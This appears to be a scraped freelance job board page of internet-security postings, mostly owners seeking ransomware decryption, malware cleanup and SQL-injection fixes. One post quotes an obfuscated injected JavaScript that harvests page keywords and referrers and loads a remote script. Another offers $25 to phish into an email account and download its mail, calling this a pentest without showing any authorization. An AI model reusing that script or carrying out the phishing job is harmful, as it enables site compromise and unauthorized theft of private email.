Internet Security Jobs

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Fixed-Price - Intermediate ($$) - Est. Budget: $200 - Posted
A clients computer has been infected with ransomware and they need to have 1 large file decrypted. I don't believe this is possible but it is worth trying to find someone who may be able to do this job. Please note that the job will only be paid to someone who is successful in decrypting the file. Money will not be paid to anyone who tries and fails. I have attached a zip file (safe) that has two files in it for TESTING. 1. An original copy of a text file 2. The encrypted version of that same text file Please note that the job IS NOT to decrypt this supplied file. The purpose of these files is so you can see the format of the encrypted files. I will supply the file to the successful applicant. It will come from the same machine with the same encryption as the attached sample files. If you believe you can decrypt the file then I will send you a link to download it. It is 25mb in size and is a data file for a CRM system. Please email with any questions you have.
Skills: Internet Security Security Engineering
Hourly - Entry Level ($) - Est. Time: Less than 1 week, 10-30 hrs/week - Posted
Looking for someone to identity and remove malicious malware on server. A number of the websites on our server have been compromised by. What it is doing is, redirecting users ON MOBILE ONLY to harmful and inappropriate websites. We've identified the problem as an injection in the HTACCESS files, but we're noticing that it's spread. We are starting to find many more compromised files. We need to A) Find and remove ALL malicious content but also repair corrupted files/links Our sites are hosted with GoDaddy on a virtual private server and are developed with wordpress Needs to get fixed as soon as possible. We need someone who is willing to start immediately!
Skills: Internet Security Antispam and Antivirus JavaScript Malware
Fixed-Price - Intermediate ($$) - Est. Budget: $25 - Posted
We have an email account that is hosted on google apps for work. We would like to pentest this email address i.e. get access to the email by phishing or using any other means, enable pop3/imap and download all the sent and received emails along with any attachments using an email client. The emails are then exported and saved in a file. Copy of downloaded emails are to be left untouched.
Skills: Internet Security Network Security Penetration Testing
Fixed-Price - Intermediate ($$) - Est. Budget: $100 - Posted
Hi, I own a hosting service which handles more than a single web site: The problem is - I have a virus on all of them. I made a small solution - I made the following code not display anymore on the web site: <script type='text/javascript' src=''></script> <!-- <script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){​document.write('<script type="text/javascript" src="'+encodeURIComponent(''+'?'+'default_keyword='+encodeURIComponent(((k=(function(){​var keywords='';var metas=document.getElementsByTagName('meta');if(metas){​for(var x=0,y=metas.length;x<y;x++){​if(metas[x].name.toLowerCase()=="keywords"){​keywords+=metas[x].content;}​}​}​return keywords!==''?keywords:null;}​)())==null?([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent('"><'+'/script>');}​</script> </head>--></head> Do you know of any better solution? What would be the price for solving this? You will receive access to the CPanel.
Skills: Internet Security
Hourly - Intermediate ($$) - Est. Time: Less than 1 month, Less than 10 hrs/week - Posted
Hello, i have CMS self developped, but have more bugs and security breach and sql injection just need some one to secure my data
Skills: Internet Security PHP SQL
Fixed-Price - Intermediate ($$) - Est. Budget: $50 - Posted
We have 5-6 domains (websites) on one hosting (BlueHost VPS) account and have had our account hacked (defaced) and malware placed on the server. We need to have you remove the malware, restore the sites, and protect them against future attacks.  **This project needs to be completed in a timely manner (less than 3-5 days from hiring)** Of the 5 most of the sites are using a very old version of Wordpress and now there is Malware present on the server. We are looking for a professional who will: 1) Remove all the Malware, backdoor, etc. 2) Perform all the necessary updates to ensure the sites stay safe 3) Share with us what was done so we can understand how this happened Thanks! You will be asked to answer the following questions when submitting a proposal: 1. What is your experience level with Malware / Virus removal? We will only hire a thorough professional with previous experience with malware removal, Wordpress, coding, etc.
Skills: Internet Security CSS Information Security Malware
Hourly - Intermediate ($$) - Est. Time: Less than 1 month, Less than 10 hrs/week - Posted
Hello, A digital advertising company is seeking for a digital advertsing consultant with deep knowledge and understanding of the advertising eco-system. The project involves conducting a market research in order to find relevant ad validation/verification companies and solutions. Specifically - we require a listing of companies with their ad validation/verification methods, solutions they offer, reliability. Thanks, Robert
Skills: Internet Security Advertising DevOps Mobile Advertising